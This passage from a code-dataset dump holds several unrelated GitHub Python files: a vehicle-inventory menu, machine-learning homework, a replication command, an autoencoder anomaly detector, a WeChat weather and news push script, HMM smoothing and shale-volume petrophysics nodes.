lista_vehiculos.obtener_tipo_vehiculo(posicion)\r\n print(f\"En la posición {posicion} se encuentra un {tipo_vehiculo}.\")\r\n\r\n elif opcion == 4:\r\n patente = input(\"Ingrese la patente del vehículo usado: \")\r\n nuevo_precio_base = float(input(\"Ingrese el nuevo precio base: \"))\r\n lista_vehiculos.modificar_precio_venta(patente, nuevo_precio_base)\r\n\r\n elif opcion == 5:\r\n vehiculo_mas_economico = lista_vehiculos.obtener_vehiculo_mas_economico()\r\n if vehiculo_mas_economico:\r\n print(\"Vehículo más económico:\")\r\n print(f\"Modelo: {vehiculo_mas_economico.modelo}\")\r\n print(f\"Cantidad de puertas: {vehiculo_mas_economico.cantidad_puertas}\")\r\n print(f\"Precio de venta: {vehiculo_mas_economico.calcular_precio_venta()}\")\r\n else:\r\n print(\"No se encontraron vehículos en la lista.\")\r\n\r\n elif opcion == 6:\r\n lista_vehiculos.mostrar_vehiculos()\r\n\r\n elif opcion == 7:\r\n guardar_vehiculos(lista_vehiculos)\r\n print(\"Vehículos almacenados correctamente.\")\r\n\r\n elif opcion == 0:\r\n return False\r\n\r\n else:\r\n print(\"Opción inválida. Intente nuevamente.\")\r\n\r\n return True\r\n\r\ndef guardar_vehiculos(lista_vehiculos):\r\n vehiculos = []\r\n\r\n for vehiculo in lista_vehiculos:\r\n if isinstance(vehiculo, VehiculoNuevo):\r\n vehiculo_data = {\r\n \"modelo\": vehiculo.modelo,\r\n \"cantidad_puertas\": vehiculo.cantidad_puertas,\r\n \"color\": vehiculo.color,\r\n \"precio_base\": vehiculo.precio_base,\r\n \"version\": vehiculo.version\r\n }\r\n elif isinstance(vehiculo, VehiculoUsado):\r\n vehiculo_data = {\r\n \"modelo\": vehiculo.modelo,\r\n \"cantidad_puertas\": vehiculo.cantidad_puertas,\r\n \"color\": vehiculo.color,\r\n \"precio_base\": vehiculo.precio_base,\r\n \"marca\": vehiculo.marca,\r\n \"patente\": vehiculo.patente,\r\n \"anio\": vehiculo.anio,\r\n \"kilometraje\": vehiculo.kilometraje\r\n }\r\n else:\r\n continue\r\n\r\n vehiculos.append(vehiculo_data)\r\n\r\n with open(\"vehiculos.json\", \"w\") as file:\r\n json.dump(vehiculos, file, indent=4)\r\n\r\n return True\r\n\r\ndef main():\r\n lista_vehiculos = leer_archivo_vehiculos()\r\n\r\n continuar = True\r\n while continuar:\r\n mostrar_menu()\r\n opcion = int(input(\"Ingrese una opción: \"))\r\n continuar = ejecutar_opcion(opcion, lista_vehiculos)\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"Emilce25/Unidad3_POO","sub_path":"Ejercicio6u3.py","file_name":"Ejercicio6u3.py","file_ext":"py","file_size_in_byte":9660,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37648842762","text":"#/* THIS CODE IS MY OWN WORK, IT WAS WRITTEN WITHOUT CONSULTING CODE\n#WRITTEN BY OTHER STUDENTS.\n#Abdullah Hamid*/\nimport argparse\nimport numpy as np\nimport pandas as pd\nfrom sklearn import metrics\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.tree import DecisionTreeClassifier\nimport sklearn.model_selection as skms\n\n\ndef hyper_parameter_find(classifier, xTrain, yTrain):\n averages = []\n for i in range(1, 48):\n if(classifier == \"KNN\"):\n dt = KNeighborsClassifier(n_neighbors=i)\n else:\n dt = DecisionTreeClassifier(max_depth=i, min_samples_leaf=10)\n scores = cross_val_score(dt, xTrain, yTrain.values.ravel(), cv=5, scoring='accuracy')\n averages.append(scores.mean())\n return averages.index(max(averages)) + 1\n\ndef param_to_dt(model, parameters, xTrain, yTrain, xTest, yTest):\n gs = skms.GridSearchCV(model, parameters, cv=5, scoring='roc_auc')\n result = {}\n print(gs.fit(xTrain, yTrain).best_params_)\n for index in np.arange(float(\"{:.2f}\".format(0.05)), float(\"{:.2f}\".format(0.25)), float(\"{:.2f}\".format(0.05))):\n new_index = np.random.choice(len(xTrain), int(len(xTrain) * (1 - index)), replace=False)\n x_train_new = xTrain.iloc[new_index, :]\n y_train_new = yTrain[new_index]\n final = train_test(gs.fit(xTrain, yTrain).best_estimator_, x_train_new, y_train_new, xTest, yTest)\n result[float(\"{:.2f}\".format(index))] = final\n return pd.DataFrame(result)\n\ndef train_test(model, xTrain, yTrain, xTest, yTest):\n model.fit(xTrain, yTrain)\n yHatTrain = model.predict_proba(xTrain)\n yHatTest = model.predict_proba(xTest)\n fpr, tpr, thresholds = metrics.roc_curve(yTrain, yHatTrain[:, 1])\n trainAuc = metrics.auc(fpr, tpr)\n fpr, tpr, thresholds = metrics.roc_curve(yTest, yHatTest[:, 1])\n testAuc = metrics.auc(fpr, tpr)\n yHatClassTrain = model.predict(xTrain)\n yHatClassTest = model.predict(xTest)\n return {\"trainAuc\": trainAuc, \"testAuc\": testAuc, \"trainAcc\": metrics.accuracy_score(yTrain, yHatClassTrain),\n \"testAcc\": metrics.accuracy_score(yTest, yHatClassTest)}\n\n\ndef main():\n # set up the program to take in arguments from the command line\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--xTrain\",\n default=\"q4xTrain.csv\",\n help=\"filename for features of the training data\")\n parser.add_argument(\"--yTrain\",\n default=\"q4yTrain.csv\",\n help=\"filename for labels associated with training data\")\n parser.add_argument(\"--xTest\",\n default=\"q4xTest.csv\",\n help=\"filename for features of the test data\")\n parser.add_argument(\"--yTest\",\n default=\"q4yTest.csv\",\n help=\"filename for labels associated with the test data\")\n\n args = parser.parse_args()\n xTrain = pd.read_csv(args.xTrain)\n yTrain = pd.read_csv(args.yTrain)\n classifier = \"KNN\"\n print(\"Optimal hyperparameter for knn algorithm is: %s\" % hyper_parameter_find(classifier,xTrain, yTrain))\n classifier = \"DT\"\n print(\"Optimal hyperparameter for Decision Tree algorithm is: %s\" % hyper_parameter_find(classifier, xTrain, yTrain))\n yTrain = yTrain.to_numpy().flatten()\n xTest = pd.read_csv(args.xTest)\n yTest = pd.read_csv(args.yTest)\n yTest = yTest.to_numpy().flatten()\n\n KNN_PARAMETERS = {'n_neighbors': range(1, 48, 2)}\n DT_PARAMETERS = {'min_samples_leaf': range(5, 20, 5), 'max_depth': range(3, 10, 2), 'criterion': ['gini', 'entropy']}\n print(\"KNN Results------------------------------------------------------------------\")\n print(param_to_dt(KNeighborsClassifier(), KNN_PARAMETERS, xTrain, yTrain, xTest, yTest).to_markdown())\n print(\"DT Results--------------------------------------------------------------------\")\n print(param_to_dt(DecisionTreeClassifier(), DT_PARAMETERS, xTrain, yTrain, xTest, yTest).to_markdown())\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"abdullahhamid2/CS334-MachineLearning","sub_path":"HW2/q3.py","file_name":"q3.py","file_ext":"py","file_size_in_byte":4101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6739384247","text":"\nfrom Generic.socket import socket_connect\nfrom Command.base import BaseCommand, CommandType\nfrom Exception.socket import ConnectionRefuseError\nfrom Replication.base import REPL_SLAVE_STATE\nfrom Conf.command import CMD_RES\nfrom Replication.interfaces import IReplServerSlaveManager\n\n\nclass SlaveOf(BaseCommand):\n '''\n slaveof 127.0.0.1 9527\n '''\n\n args_order = ['host', 'port']\n min_args = 2\n max_args = 2\n cmd_type = CommandType.CMD_COMMON\n\n def handle(self, args, kwargs):\n server = self.client.get_server()\n host = kwargs['host']\n port = int(kwargs['port'])\n repl_slave_manager: IReplServerSlaveManager = server.get_repl_slave_manager()\n repl_slave_manager.set_addr(host, port)\n try:\n repl_slave_manager.set_repl_state(REPL_SLAVE_STATE.CONNECT)\n slave_conn = socket_connect(host, port)\n repl_slave_manager.set_repl_state(REPL_SLAVE_STATE.CONNECTING)\n server.connect_to_master(slave_conn, self.client)\n return CMD_RES.WAIT\n except TypeError as e:\n print(e)\n repl_slave_manager.set_repl_state(REPL_SLAVE_STATE.NONE)\n repl_slave_manager.set_addr(None, None)\n raise ConnectionRefuseError(host, port)\n","repo_name":"hc-tec/pydis","sub_path":"Command/commands/slaveof.py","file_name":"slaveof.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"10487353341","text":"import os\r\nimport numpy as np\r\nimport cv2\r\nfrom tensorflow import keras \r\nfrom keras.layers import Input, Dense\r\nfrom keras.models import Model\r\nfrom sklearn.model_selection import train_test_split\r\nimport matplotlib.pyplot as plt\r\n\r\n# Set up folder and file paths\r\nfolder_path = 'E:/Anik Alvi/Intruder Detection using KOAD/Code/dataset200/'\r\n#folder_path = 'E:/Anik Alvi/unsupervised-face-mask-detection/mtcnn-face-detection/code/mtcnn/croppedR2/'\r\nimage_files = os.listdir(folder_path)\r\nnum_images = len(image_files)\r\n\r\n# Set up image size and flatten the images\r\nimg_size = (64, 64)\r\nX = np.zeros((num_images, img_size[0]*img_size[1]))\r\nfor i, file in enumerate(image_files):\r\n img = cv2.imread(os.path.join(folder_path, file), cv2.IMREAD_GRAYSCALE)\r\n img = cv2.resize(img, img_size)\r\n X[i,:] = img.flatten()\r\n\r\n# Normalize pixel values\r\nX = X / 255.0\r\n\r\n# Define the autoencoder model\r\ninput_dim = X.shape[1]\r\nencoding_dim = 32\r\ninput_img = Input(shape=(input_dim,))\r\nencoded = Dense(encoding_dim, activation='relu')(input_img)\r\ndecoded = Dense(input_dim, activation='sigmoid')(encoded)\r\nautoencoder = Model(input_img, decoded)\r\nautoencoder.compile(optimizer='adam', loss='mse')\r\n\r\n# Train the autoencoder\r\nhistory = autoencoder.fit(X, X, epochs=100, batch_size=64, shuffle=True)\r\n\r\n# Get the reconstructed images\r\nX_reconstructed = autoencoder.predict(X)\r\n\r\n# Calculate reconstruction errors\r\nerror = np.sqrt(np.sum((X - X_reconstructed)**2, axis=1))\r\n\r\n# Define anomaly threshold\r\nthreshold = np.percentile(error, 80)\r\n\r\n# Define actual anomalous image indices\r\n#actual_anomalies = [26, 49, 65, 69, 79] \r\nactual_anomalies = [20, 31, 52, 73, 103, 116, 126, 147, 168, 184]\r\n#actual_anomalies = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] \r\n#actual_anomalies = [5, 9, 11, 12, 13, 14, 23, 24, 30, 31, 34, 38, 39, 42, 43, 46, 47, 50, 52, 53, 59, 61, 62, 64, 72] \r\n#actual_anomalies = [2, 3, 5, 10, 11, 12, 13, 19, 21, 22, 24, 27, 33, 36, 39, 43, 45, 57, 58, 84, 89, 98, 107, 111, 118, 120, 123, 127, 128, 140, 144, 151, 155, 166, 169, 174, 175, 177, 189, 190, 195, 200, 203] \r\n\r\n# Identify and print anomalous images\r\nanomalous_indices = [i for i in range(num_images) if error[i] > threshold]\r\nprint(\"Anomalous image indices: \", anomalous_indices)\r\n\r\n# Calculate detection rate and false alarm rate\r\nnum_detected = len(set(actual_anomalies).intersection(anomalous_indices))\r\nnum_false_alarms = len(anomalous_indices) - num_detected\r\ndetection_rate = (num_detected / len(actual_anomalies)) * 100\r\nfalse_alarm_rate = (num_false_alarms / (num_images - len(actual_anomalies))) * 100\r\n\r\nprint(\"Detection rate: \", detection_rate)\r\nprint(\"False alarm rate: \", false_alarm_rate)\r\n\r\n# Plot the time series of reconstruction errors\r\nplt.stem(error)\r\nplt.plot([0, num_images], [threshold, threshold], 'r--')\r\nplt.xlabel('Timestep, t')\r\nplt.ylabel('Reconstruction error')\r\nplt.title('Dataset 2: Time series PCA anomaly detection')\r\nplt.show()\r\n","repo_name":"alvianik/Semi-supervised-Neural-Network-based-Face-Mask-and-Anomaly-Detection-in-Surveillance-Networks","sub_path":"autoencoder.py","file_name":"autoencoder.py","file_ext":"py","file_size_in_byte":2934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24267246705","text":"import requests,json\nfrom os import environ\nfrom datetime import datetime\nenviron['NO_PROXY'] = '*' #忽略系统代理,开着代理requests会报错\n\ndef weather_info(cookie,city_code,timestamps):\n w_headers = {\n \"Accept\": \"*/*\",\n \"Accept-Encoding\": \"gzip, deflate\",\n \"Accept-Language\": \"zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6\",\n \"Cache-Control\": \"no-cache\",\n \"Connection\": \"keep-alive\",\n \"Cookie\": cookie,\n \"DNT\": \"1\",\n \"Host\": \"d1.weather.com.cn\",\n \"Pragma\": \"no-cache\",\n \"Referer\": \"http://www.weather.com.cn/\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36 Edg/94.0.992.38\"\n }\n weather_url = 'http://d1.weather.com.cn/dingzhi/%s.html?_=%s'%(city_code,timestamps)\n weather_req = requests.get(url=weather_url,headers=w_headers).content.decode('utf-8')\n weather_info = json.loads(weather_req.replace(\"var cityDZ%s =\"%city_code, \"\").split(\";var alarmDZ%s =\"%city_code)[0])['weatherinfo']\n warning_json = json.loads(weather_req.replace(\"var cityDZ%s =\"%city_code, \"\").split(\";var alarmDZ%s =\"%city_code)[1])\n try:\n warning = json.loads(str(warning_json).replace(\"'\",'\"'))['w'][0]\n warning_info = warning['w5'] + warning['w7']\n except:\n warning_info = \"当前无预警信息\"\n weather_messages = (\n \"城市名称:%s\"%weather_info['cityname']+\n \"\\n当前温度:%s\"%weather_info['temp']+\n \"\\n最低温度:%s\"%weather_info['tempn']+\n \"\\n天气情况:%s\"%weather_info['weather']+\n \"\\n风力风向:%s\"%weather_info['wd']+weather_info['ws']+\n \"\\n预警信息:%s\"%warning_info\n )\n return weather_messages\n\ndef get_news(news_type,news_time):\n news_headers = {\n \"Accept\": \"*/*\",\n \"Accept-Encoding\": \"gzip, deflate\",\n \"Accept-Language\": \"zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6\",\n \"Cache-Control\": \"no-cache\",\n \"Connection\": \"keep-alive\",\n \"DNT\": \"1\",\n \"Host\": \"top.news.sina.com.cn\",\n \"Pragma\": \"no-cache\",\n \"Referer\": \"http://news.sina.com.cn/\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36 Edg/94.0.992.38\"\n }\n news_url = 'http://top.news.sina.com.cn/ws/GetTopDataList.php?top_type=day&top_cat=%s&top_time=%s&top_show_num=20&top_order=DESC&js_var=news_'%(news_type,news_time)\n news_req = requests.get(url=news_url,headers=news_headers).text.replace(\"var news_ = \",\"\").replace(r\"\\/\\/\",\"//\").replace(\";\",\"\")\n format_news = json.loads(json.dumps(news_req ,ensure_ascii=False))\n news_sub = json.loads(format_news)['data'] #很奇怪,不loads两次的话,type会是str导致无法取值\n news_list = []\n for item in news_sub:\n if str(item['url']).split(\".\")[0] == \"https://video\": #新浪的视频新闻总会提示下载APP,直接过滤掉,选择不看\n continue\n else:\n news = item['title'] + ' 详情'%item['url']\n news_list.append(news) \n return news_list\n\ndef get_sentence():\n sen_url = 'https://v1.hitokoto.cn?c=d&c=h&c=i&c=k'\n get_sen = requests.get(url=sen_url).json()\n sentence = get_sen['hitokoto']+\"\\n\\n出自:%s\"%get_sen['from']\n return sentence\n\ndef message_content(city_code,timestamps,info_time,news_list,sentence):\n week_dict = {\n 0:\"星期一\",\n 1:\"星期二\",\n 2:\"星期三\",\n 3:\"星期四\",\n 4:\"星期五\",\n 5:\"星期六\",\n 6:\"星期日\"\n }\n day = datetime.strftime(info_time,\"%Y-%m-%d\") + \" \" + week_dict[datetime.weekday(info_time)]\n content = (\n \"******%s******\\n\"%day+\n \"*************天气************\\n\\n\"+\n weather_info(cookie,city_code,timestamps)+\n \"\\n\\n*************热闻************\\n\\n\"+\n str(news_list[0:10]).replace(\"['\",\"\").replace(\"', '\",'\\n').replace(\"']\",'\\n')+ #只截取前10条新闻,微信推送有长度限制\n \"\\n*************一句************\\n\\n\"+\n sentence\n )\n return content\n\ndef weixin_push(content):\n wx_push_token = requests.post(url='https://qyapi.weixin.qq.com/cgi-bin/gettoken?corpid=%s&corpsecret=%s'%(wxid,wxsecret),data=\"\").json()['access_token']\n wx_push_data = {\n \"agentid\":1000002,\n \"msgtype\":\"text\",\n \"touser\":\"@all\",\n \"text\":{\n \"content\":content\n },\n \"safe\":0\n }\n requests.post('https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=%s'%wx_push_token,json=wx_push_data)\n\nif __name__ == '__main__':\n #设定天气预报城市与查询时间\n city_code = '' #先在weather.com.cn上查询城市天气,网址结尾的数字替换即可\n cookie = \"\" #在查询天气的时候,按F12,在控制台复制对应的cookie并填入\n info_time = datetime.now()\n timestamps = round(datetime.timestamp(info_time)*1000)\n #设定企业微信推送参数\n wxid = ''\n wxsecret = '' \n # 设定新闻时间(当天)与类型\n #财经:finance_0_suda 社会:news_society_suda 国内:news_china_suda 国际:news_world_suda\n #科技:tech_news_suda 军事:news_mil_suda 娱乐:ent_suda 体育:sports_suda 总排行:www_www_all_suda_suda\n news_type = 'news_china_suda'\n news_time = datetime.strftime(info_time,\"%Y%m%d\") \n weixin_push(message_content(city_code,timestamps,info_time,get_news(news_type,news_time),get_sentence()))\n","repo_name":"wongzeon/DailyNote","sub_path":"daily_note.py","file_name":"daily_note.py","file_ext":"py","file_size_in_byte":5607,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"37"} +{"seq_id":"4054331226","text":"'''\n\n ARTIFICIAL INTELLIGENCE II - ASSIGNMENT 2\n ------------------------------------------\n\n Author: Tanveer Singh Virdi\n Date: 08 October, 2019\n\n SmoothHMM.py\n\n'''\n\n#Importing the necessary libraries\nimport numpy as np\nimport sys\n\nnum_steps = int(sys.argv[1])\nevidence_vector = sys.argv[2:12]\nevidence_vector = [int(evidence_vector[i]) for i in range(len(evidence_vector))]\n\ntransition_dict = {True: [0.7,0.4],\n False: [0.3,0.6]}\n\nevidence_dict = {True: [0.9,0.3],\n False: [0.1,0.7]}\n\ndef norm(array) :\n add = array[0] + array[1]\n return array/add\n\n\ndef filtering(t, transition_dict, evidence_dict, evidence) :\n if t == 0 :\n return np.array([0.5,0.5])\n else :\n previous_probability = filtering(t-1, transition_dict, evidence_dict, evidence)\n prediction_step = (np.array(transition_dict[True]))*previous_probability[0] + (1 - np.array(transition_dict[True])) * previous_probability[1]\n updated_probability = norm(np.array(evidence_dict[bool(evidence[t-1])])*prediction_step)\n\n return updated_probability\n\n\ndef smoothing(k, transition_dict, evidence_dict, evidence) :\n if k == len(evidence) :\n return 1\n else :\n array = smoothing(k+1, transition_dict, evidence_dict, evidence)\n array1 = np.array(evidence_dict[bool(evidence[k])][0])*array*np.array(transition_dict[True])+ np.array(evidence_dict[bool(evidence[k])][1])*array* (1-np.array(transition_dict[True]))\n return array1\n\n\noutput = []\nfor i in range(1,num_steps+1) :\n smooth_estimate_i = norm(filtering(i, transition_dict, evidence_dict, evidence_vector) * smoothing(i, transition_dict, evidence_dict,evidence_vector))\n print(\"Smoothing estimate for Xt = \",i,\" is :\", smooth_estimate_i)\n output.append((smooth_estimate_i[0],smooth_estimate_i[1]))\n\nprint(\"-----------------------------------------------------------------------------------------------------\")\nprint(\"Smoothed estimates of Xt given evidence e1-10 :\", output)","repo_name":"tanveersingh7/ArtificialIntelligence","sub_path":"Assignment 2/SmoothHMM.py","file_name":"SmoothHMM.py","file_ext":"py","file_size_in_byte":2002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71559914029","text":"import logging\n\nimport numpy as np\n\nimport celery_conf\nfrom components.domain.Log import BasicLog\nfrom components.domain.Project import Project\nfrom components.domain.Well import Well\nfrom components.domain.WellDataset import WellDataset\nfrom components.engine.engine_node import EngineNode, EngineNodeCache\n\nlogging.basicConfig()\n\n\ndef _linear_scale(arr, lower_limit, upper_limit):\n inv_range = 1 / (upper_limit - lower_limit)\n offset = lower_limit * inv_range\n\n result = arr * inv_range - offset\n return result\n\n\nclass ShaleVolume(EngineNode):\n \"\"\"\n Shale volume calculations\n \"\"\"\n\n logger = logging.getLogger(__name__)\n logger.setLevel(logging.INFO)\n\n @classmethod\n def name(cls):\n return cls.__name__\n\n @classmethod\n def version(cls):\n return 1\n\n @classmethod\n def validate_input(cls, log: BasicLog, gr_matrix: float, gr_shale: float, name: str) -> None:\n \"\"\"\n Validate inputs\n :param log:\n :param gr_matrix:\n :param gr_shale:\n :param name:\n \"\"\"\n # check types\n if not isinstance(log, BasicLog):\n raise TypeError(\"Log argument is not instance of class BasicLog\")\n if not isinstance(gr_matrix, (float, int)):\n raise TypeError(\"gr_matrix is not of type float\")\n if not isinstance(gr_shale, (float, int)):\n raise TypeError(\"gr_shale is not of type float\")\n\n # check gr_matrix is greater than or equals gr_shale\n if gr_matrix >= gr_shale:\n raise ValueError(\"gr_matrix must be lower than gr_shale\")\n\n # check log input\n valid_meta_parameters = cls.Meta.input['meta']\n for parameter, value in valid_meta_parameters.items():\n assert log.meta[parameter] == value, f\"Meta parameter {parameter} must be equal {value}.\"\n\n # check name is valid\n if name is not None:\n assert type(name) == str, f\"name must be of type string\"\n\n @classmethod\n def _calculate(cls, log: BasicLog, gr_matrix: float, gr_shale: float, name: str) -> BasicLog:\n raise Exception(\"You are using abstract class instead of\")\n\n @classmethod\n def run_for_item(cls, well_name: str, gr_matrix: float = None, gr_shale: float = None, output_log_name: str = 'VSH_GR') -> None:\n \"\"\"\n Function to calculate Shale Volume (VSH) via Linear method\n :param well_name: well name to process\n :param gr_matrix: float, Gamma Ray value at matrix\n :param gr_shale: float, Gamma Ray value at shale\n :param output_log_name: name of output log\n \"\"\"\n\n well = Well(well_name)\n dataset = WellDataset(well, 'LQC')\n\n for log_name in dataset.get_log_list(family='Gamma Ray'):\n log = BasicLog(dataset.id, log_name)\n\n if 'spliced' in log.meta.tags:\n continue\n\n if gr_matrix is None:\n gr_matrix = np.quantile(log.non_null_values[:, 1], 0.05)\n if gr_shale is None:\n gr_shale = np.quantile(log.non_null_values[:, 1], 0.95)\n\n output = cls._calculate(log, gr_matrix, gr_shale, output_log_name)\n output.dataset_id = dataset.id\n cls.write_history(log=output, input_logs=(log,), gr_matrix=gr_matrix, gr_shale=gr_shale)\n output.save()\n\n @classmethod\n def item_hash(cls, well_name, gr_matrix, gr_shale, output_log_name) -> tuple[str, bool]:\n \"\"\"Get current item hash\"\"\"\n well = Well(well_name)\n dataset = WellDataset(well, 'LQC')\n log_hashes = []\n for log_name in dataset.get_log_list(family='Gamma Ray'):\n log = BasicLog(dataset.id, log_name)\n if 'spliced' in log.meta.tags:\n log_hashes.append(log.data_hash)\n\n item_hash = cls.item_md5((well_name, sorted(log_hashes), gr_matrix, gr_shale, output_log_name))\n\n valid = BasicLog(dataset.id, output_log_name).exists()\n\n return item_hash, valid\n\n @classmethod\n def run(cls, **kwargs):\n \"\"\"Run shale volume calculation for well\"\"\"\n gr_matrix = kwargs.get('gr_matrix', None)\n gr_shale = kwargs.get('gr_shale', None)\n output_log_name = kwargs.get('output_log_name', 'VSH_GR')\n\n p = Project()\n well_names = p.list_wells()\n tasks = []\n\n hashes = []\n cache_hits = 0\n cache = EngineNodeCache(cls)\n\n for well_name in well_names:\n\n item_hash, item_hash_is_valid = cls.item_hash(well_name, gr_matrix, gr_shale, output_log_name)\n hashes.append(item_hash)\n if item_hash_is_valid and item_hash in cache:\n cache_hits += 1\n continue\n\n tasks.append(celery_conf.app.send_task('tasks.async_calculate_shale_volume', (well_name, cls.__name__, gr_matrix, gr_shale, output_log_name)))\n\n cache.set(hashes)\n cls.logger.info(f'Node: {cls.name()}: cache hits:{cache_hits} / misses: {len(tasks)}')\n cls.track_progress(tasks, cached=cache_hits)\n\n @classmethod\n def write_history(cls, **kwargs):\n log = kwargs['log']\n input_logs = kwargs['input_logs']\n gr_matrix = kwargs.get('gr_matrix', None)\n gr_shale = kwargs.get('gr_shale', None)\n\n log.meta.append_history({'node': cls.name(),\n 'node_version': cls.version(),\n 'parent_logs': [(log.dataset_id, log.name) for log in input_logs],\n 'parameters': {'gr_matrix': gr_matrix, 'gr_shale': gr_shale, }\n })\n\n\nclass ShaleVolumeLinearMethodNode(ShaleVolume):\n \"\"\"\n Shale volume calculations\n \"\"\"\n\n logger = logging.getLogger(\"ShaleVolumeLinearMethodNode\")\n logger.setLevel(logging.INFO)\n\n class Meta:\n name = 'Shale Volume Linear Method'\n input = {\n \"type\": BasicLog,\n \"meta\": {\n \"family\": \"Gamma Ray\",\n },\n }\n output = {\n \"type\": BasicLog,\n \"log_id\": \"VSH_GR_LM\",\n \"meta\": {\n \"family\": \"Shale Volume\",\n \"method\": \"Linear method based on Gamma Ray logs\",\n }\n }\n\n @classmethod\n def name(cls):\n return cls.__name__\n\n @classmethod\n def version(cls):\n return 1\n\n @classmethod\n def _calculate(cls, log: BasicLog, gr_matrix: float, gr_shale: float, name: str) -> BasicLog:\n cls_output = cls.Meta.output\n\n vsh = cls_output['type'](log_id=cls_output['log_id'])\n\n values = log.values\n values[:, 1] = np.clip(_linear_scale(values[:, 1], gr_matrix, gr_shale), 0, 1)\n vsh.values = values\n\n vsh.meta.name = cls_output['log_id'] if name is None else name\n vsh.meta.log_id = cls_output['log_id']\n vsh.meta.family = cls_output['meta']['family']\n vsh.meta.method = cls_output['meta']['method']\n vsh.meta.units = 'v\\\\v'\n\n return vsh\n\n\nclass ShaleVolumeLarionovOlderRockNode(ShaleVolume):\n \"\"\"\n Shale volume calculations using Larionov Older Rock\n \"\"\"\n\n class Meta:\n name = 'Shale Volume Larionov Older Rock'\n input = {\n \"type\": BasicLog,\n \"meta\": {\n \"family\": \"Gamma Ray\",\n },\n }\n output = {\n \"type\": BasicLog,\n \"log_id\": \"VSH_GR_LOR\",\n \"meta\": {\n \"family\": \"Shale Volume\",\n \"method\": \"Larionov older rock method based on Gamma Ray logs\",\n }\n }\n\n @classmethod\n def name(cls):\n return cls.__name__\n\n @classmethod\n def version(cls):\n return 1\n\n @classmethod\n def _calculate(cls, log, gr_matrix: float, gr_shale: float, name: str = None) -> BasicLog:\n \"\"\"\n Function to calculate Shale Volume (VSH) via Larionov older rock methods\n :param log: BasicLog\n :param gr_matrix: float, Gamma Ray value at matrix\n :param gr_shale: float, Gamma Ray value at shale\n :param name: str, Name of output log\n :return: BasicLog (virtual)\n \"\"\"\n cls.validate_input(log, gr_matrix, gr_shale, name)\n cls_output = cls.Meta.output\n\n vsh = cls_output['type'](log_id=cls_output['log_id'])\n\n values = log.values\n gr_index = _linear_scale(values[:, 1], gr_matrix, gr_shale)\n values[:, 1] = np.clip(0.33 * (2 ** (2 * gr_index) - 1), 0, 1)\n vsh.values = values\n\n vsh.meta.name = cls_output['log_id'] if name is None else name\n vsh.meta.log_id = cls_output['log_id']\n vsh.meta.family = cls_output['meta']['family']\n vsh.meta.method = cls_output['meta']['method']\n vsh.meta.units = 'v\\\\v'\n return vsh\n\n\nclass ShaleVolumeLarionovTertiaryRockNode(ShaleVolume):\n \"\"\"\n Shale volume calculations using Larionov Tertiary Rock\n \"\"\"\n\n class Meta:\n name = 'Shale Volume Larionov Tertiary Rock'\n input = {\n \"type\": BasicLog,\n \"meta\": {\n \"family\": \"Gamma Ray\",\n },\n }\n output = {\n \"type\": BasicLog,\n \"log_id\": \"VSH_GR_LTR\",\n \"meta\": {\n \"family\": \"Shale Volume\",\n \"method\": \"Larionov Tertiary Rock based on Gamma Ray logs\",\n }\n }\n\n @classmethod\n def name(cls):\n return cls.__name__\n\n @classmethod\n def _calculate(cls, log, gr_matrix: float, gr_shale: float, name: str = None) -> BasicLog:\n \"\"\"\n Function to calculate Shale Volume (VSH) via Larionov tertiary rock methods\n :param log: BasicLog\n :param gr_matrix: float, Gamma Ray value at matrix\n :param gr_shale: float, Gamma Ray value at shale\n :param name: str, name of output log\n :return: BasicLog (virtual)\n \"\"\"\n cls.validate_input(log, gr_matrix, gr_shale, name)\n cls_output = cls.Meta.output\n\n vsh = cls_output['type'](log_id=cls_output['log_id'])\n\n values = log.values\n gr_index = _linear_scale(values[:, 1], gr_matrix, gr_shale)\n values[:, 1] = np.clip(0.083 * (2 ** (3.7 * gr_index) - 1), 0, 1)\n vsh.values = values\n\n vsh.meta.name = cls_output['log_id'] if name is None else name\n vsh.meta.log_id = cls_output['log_id']\n vsh.meta.family = cls_output['meta']['family']\n vsh.meta.method = cls_output['meta']['method']\n vsh.meta.units = 'v\\\\v'\n return vsh\n","repo_name":"iGeophysix/gamma","sub_path":"components/petrophysics/shale_volume.py","file_name":"shale_volume.py","file_ext":"py","file_size_in_byte":10516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8117603056","text":"#!/usr/bin/env python3\n'''\nSHORT DESCRIPTION\nNormalize a LOS velocity map to the sine of the incidence angle.\n\nFUTURE IMPROVEMENTS\n\nTESTING STATUS\nIn development.\n'''\n\n### IMPORT MODULES ---\nimport argparse\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom ImageMasking import create_mask\nfrom GeoFormatting import DS_to_extent\nfrom ImageIO import confirm_outname_ext, confirm_outdir, load_gdal_dataset, \\\n save_gdal_dataset\nfrom ImageViewing import image_percentiles, plot_raster\n\n\n### PARSER ---\nDescription = '''Stitch two maps belonging to two spatial data sets.'''\n\nExamples = ''''''\n\n\ndef createParser():\n parser = argparse.ArgumentParser(description=Description,\n formatter_class=argparse.RawTextHelpFormatter, epilog=Examples)\n\n InputArgs = parser.add_argument_group('INPUTS')\n InputArgs.add_argument('-f','--fname', 